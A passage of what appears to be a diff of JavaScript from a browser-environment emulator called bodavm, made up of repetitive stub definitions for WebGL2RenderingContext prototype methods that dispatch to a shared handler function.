bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "detachShader", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "disable", {configurable:true, enumerable:true, writable:true, value:function disable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "disable", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawArraysInstanced", {configurable:true, enumerable:true, writable:true, value:function drawArraysInstanced (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawArraysInstanced", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawElementsInstanced", {configurable:true, enumerable:true, writable:true, value:function drawElementsInstanced (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawElementsInstanced", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawRangeElements", {configurable:true, enumerable:true, writable:true, value:function drawRangeElements (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawRangeElements", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "enable", {configurable:true, enumerable:true, writable:true, value:function enable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "enable", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "endQuery", {configurable:true, enumerable:true, writable:true, value:function endQuery (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "endQuery", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "endTransformFeedback", {configurable:true, enumerable:true, writable:true, value:function endTransformFeedback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "endTransformFeedback", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "fenceSync", {configurable:true, enumerable:true, writable:true, value:function fenceSync (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "fenceSync", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "finish", {configurable:true, enumerable:true, writable:true, value:function finish (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "finish", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "flush", {configurable:true, enumerable:true, writable:true, value:function flush (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "flush", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "framebufferRenderbuffer", {configurable:true, enumerable:true, writable:true, value:function framebufferRenderbuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "framebufferRenderbuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "framebufferTexture2D", {configurable:true, enumerable:true, writable:true, value:function framebufferTexture2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "framebufferTexture2D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "framebufferTextureLayer", {configurable:true, enumerable:true, writable:true, value:function framebufferTextureLayer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "framebufferTextureLayer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "frontFace", {configurable:true, enumerable:true, writable:true, value:function frontFace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "frontFace", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "generateMipmap", {configurable:true, enumerable:true, writable:true, value:function generateMipmap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "generateMipmap", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getActiveAttrib", {configurable:true, enumerable:true, writable:true, value:function getActiveAttrib (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getActiveAttrib", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getActiveUniform", {configurable:true, enumerable:true, writable:true, value:function getActiveUniform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getActiveUniform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getActiveUniformBlockName", {configurable:true, enumerable:true, writable:true, value:function getActiveUniformBlockName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getActiveUniformBlockName", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getActiveUniformBlockParameter", {configurable:true, enumerable:true, writable:true, value:function getActiveUniformBlockParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getActiveUniformBlockParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getActiveUniforms", {configurable:true, enumerable:true, writable:true, value:function getActiveUniforms (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getActiveUniforms", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getAttachedShaders", {configurable:true, enumerable:true, writable:true, value:function getAttachedShaders (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getAttachedShaders", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getAttribLocation", {configurable:true, enumerable:true, writable:true, value:function getAttribLocation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getAttribLocation", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getBufferParameter", {configurable:true, enumerable:true, writable:true, value:function getBufferParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getBufferParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getBufferSubData", {configurable:true, enumerable:true, writable:true, value:function getBufferSubData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getBufferSubData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getContextAttributes", {configurable:true, enumerable:true, writable:true, value:function getContextAttributes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getContextAttributes", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getError", {configurable:true, enumerable:true, writable:true, value:function getError (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getError", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getExtension", {configurable:true, enumerable:true, writable:true, value:function getExtension (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getExtension", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getFragDataLocation", {configurable:true, enumerable:true, writable:true, value:function getFragDataLocation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getFragDataLocation", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getFramebufferAttachmentParameter", {configurable:true, enumerable:true, writable:true, value:function getFramebufferAttachmentParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getFramebufferAttachmentParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getIndexedParameter", {configurable:true, enumerable:true, writable:true, value:function getIndexedParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getIndexedParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getInternalformatParameter", {configurable:true, enumerable:true, writable:true, value:function getInternalformatParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getInternalformatParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getParameter", {configurable:true, enumerable:true, writable:true, value:function getParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getProgramInfoLog", {configurable:true, enumerable:true, writable:true, value:function getProgramInfoLog (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getProgramInfoLog", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getProgramParameter", {configurable:true, enumerable:true, writable:true, value:function getProgramParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getProgramParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getQuery", {configurable:true, enumerable:true, writable:true, value:function getQuery (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getQuery", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getQueryParameter", {configurable:true, enumerable:true, writable:true, value:function getQueryParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getQueryParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getRenderbufferParameter", {configurable:true, enumerable:true, writable:true, value:function getRenderbufferParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getRenderbufferParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getSamplerParameter", {configurable:true, enumerable:true, writable:true, value:function getSamplerParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getSamplerParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getShaderInfoLog", {configurable:true, enumerable:true, writable:true, value:function getShaderInfoLog (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getShaderInfoLog", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getShaderParameter", {configurable:true, enumerable:true, writable:true, value:function getShaderParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getShaderParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getShaderPrecisionFormat", {configurable:true, enumerable:true, writable:true, value:function getShaderPrecisionFormat (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getShaderPrecisionFormat", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getShaderSource", {configurable:true, enumerable:true, writable:true, value:function getShaderSource (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getShaderSource", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getSupportedExtensions", {configurable:true, enumerable:true, writable:true, value:function getSupportedExtensions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getSupportedExtensions", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getSyncParameter", {configurable:true, enumerable:true, writable:true, value:function getSyncParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getSyncParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getTexParameter", {configurable:true, enumerable:true, writable:true, value:function getTexParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getTexParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getTransformFeedbackVarying", {configurable:true, enumerable:true, writable:true, value:function getTransformFeedbackVarying (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getTransformFeedbackVarying", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getUniform", {configurable:true, enumerable:true, writable:true, value:function getUniform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getUniform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getUniformBlockIndex", {configurable:true, enumerable:true, writable:true, value:function getUniformBlockIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getUniformBlockIndex", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getUniformIndices", {configurable:true, enumerable:true, writable:true, value:function getUniformIndices (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getUniformIndices", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getUniformLocation", {configurable:true, enumerable:true, writable:true, value:function getUniformLocation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getUniformLocation", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getVertexAttrib", {configurable:true, enumerable:true, writable:true, value:function getVertexAttrib (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getVertexAttrib", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getVertexAttribOffset", {configurable:true, enumerable:true, writable:true, value:function getVertexAttribOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getVertexAttribOffset", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "hint", {configurable:true, enumerable:true, writable:true, value:function hint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "hint", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "invalidateFramebuffer", {configurable:true, enumerable:true, writable:true, value:function invalidateFramebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "invalidateFramebuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "invalidateSubFramebuffer", {configurable:true, enumerable:true, writable:true, value:function invalidateSubFramebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "invalidateSubFramebuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isBuffer", {configurable:true, enumerable:true, writable:true, value:function isBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isContextLost", {configurable:true, enumerable:true, writable:true, value:function isContextLost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isContextLost", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isEnabled", {configurable:true, enumerable:true, writable:true, value:function isEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isEnabled", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isFramebuffer", {configurable:true, enumerable:true, writable:true, value:function isFramebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isFramebuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isProgram", {configurable:true, enumerable:true, writable:true, value:function isProgram (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isProgram", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isQuery", {configurable:true, enumerable:true, writable:true, value:function isQuery (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isQuery", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isRenderbuffer", {configurable:true, enumerable:true, writable:true, value:function isRenderbuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isRenderbuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isSampler", {configurable:true, enumerable:true, writable:true, value:function isSampler (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isSampler", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isShader", {configurable:true, enumerable:true, writable:true, value:function isShader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isShader", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isSync", {configurable:true, enumerable:true, writable:true, value:function isSync (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isSync", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isTexture", {configurable:true, enumerable:true, writable:true, value:function isTexture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isTexture", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isTransformFeedback", {configurable:true, enumerable:true, writable:true, value:function isTransformFeedback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isTransformFeedback", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isVertexArray", {configurable:true, enumerable:true, writable:true, value:function isVertexArray (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isVertexArray", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "lineWidth", {configurable:true, enumerable:true, writable:true, value:function lineWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "lineWidth", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "linkProgram", {configurable:true, enumerable:true, writable:true, value:function linkProgram (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "linkProgram", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "pauseTransformFeedback", {configurable:true, enumerable:true, writable:true, value:function pauseTransformFeedback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "pauseTransformFeedback", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "pixelStorei", {configurable:true, enumerable:true, writable:true, value:function pixelStorei (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "pixelStorei", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "polygonOffset", {configurable:true, enumerable:true, writable:true, value:function polygonOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "polygonOffset", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "readBuffer", {configurable:true, enumerable:true, writable:true, value:function readBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "readBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "readPixels", {configurable:true, enumerable:true, writable:true, value:function readPixels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "readPixels", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "renderbufferStorage", {configurable:true, enumerable:true, writable:true, value:function renderbufferStorage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "renderbufferStorage", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "renderbufferStorageMultisample", {configurable:true, enumerable:true, writable:true, value:function renderbufferStorageMultisample (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "renderbufferStorageMultisample", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "resumeTransformFeedback", {configurable:true, enumerable:true, writable:true, value:function resumeTransformFeedback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "resumeTransformFeedback", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "sampleCoverage", {configurable:true, enumerable:true, writable:true, value:function sampleCoverage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "sampleCoverage", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "samplerParameterf", {configurable:true, enumerable:true, writable:true, value:function samplerParameterf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "samplerParameterf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "samplerParameteri", {configurable:true, enumerable:true, writable:true, value:function samplerParameteri (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "samplerParameteri", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "shaderSource", {configurable:true, enumerable:true, writable:true, value:function shaderSource (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "shaderSource", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "stencilFunc", {configurable:true, enumerable:true, writable:true, value:function stencilFunc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "stencilFunc", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "stencilFuncSeparate", {configurable:true, enumerable:true, writable:true, value:function stencilFuncSeparate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "stencilFuncSeparate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "stencilMask", {configurable:true, enumerable:true, writable:true, value:function stencilMask (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "stencilMask", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "stencilMaskSeparate", {configurable:true, enumerable:true, writable:true, value:function stencilMaskSeparate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "stencilMaskSeparate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "stencilOp", {configurable:true, enumerable:true, writable:true, value:function stencilOp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "stencilOp", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "stencilOpSeparate", {configurable:true, enumerable:true, writable:true, value:function stencilOpSeparate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "stencilOpSeparate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texImage2D", {configurable:true, enumerable:true, writable:true, value:function texImage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texImage2D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texImage3D", {configurable:true, enumerable:true, writable:true, value:function texImage3D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texImage3D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texParameterf", {configurable:true, enumerable:true, writable:true, value:function texParameterf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texParameterf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texParameteri", {configurable:true, enumerable:true, writable:true, value:function texParameteri (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texParameteri", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texStorage2D", {configurable:true, enumerable:true, writable:true, value:function texStorage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texStorage2D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texStorage3D", {configurable:true, enumerable:true, writable:true, value:function texStorage3D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texStorage3D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texSubImage2D", {configurable:true, enumerable:true, writable:true, value:function texSubImage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texSubImage2D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texSubImage3D", {configurable:true, enumerable:true, writable:true, value:function texSubImage3D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texSubImage3D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "transformFeedbackVaryings", {configurable:true, enumerable:true, writable:true, value:function transformFeedbackVaryings (){return 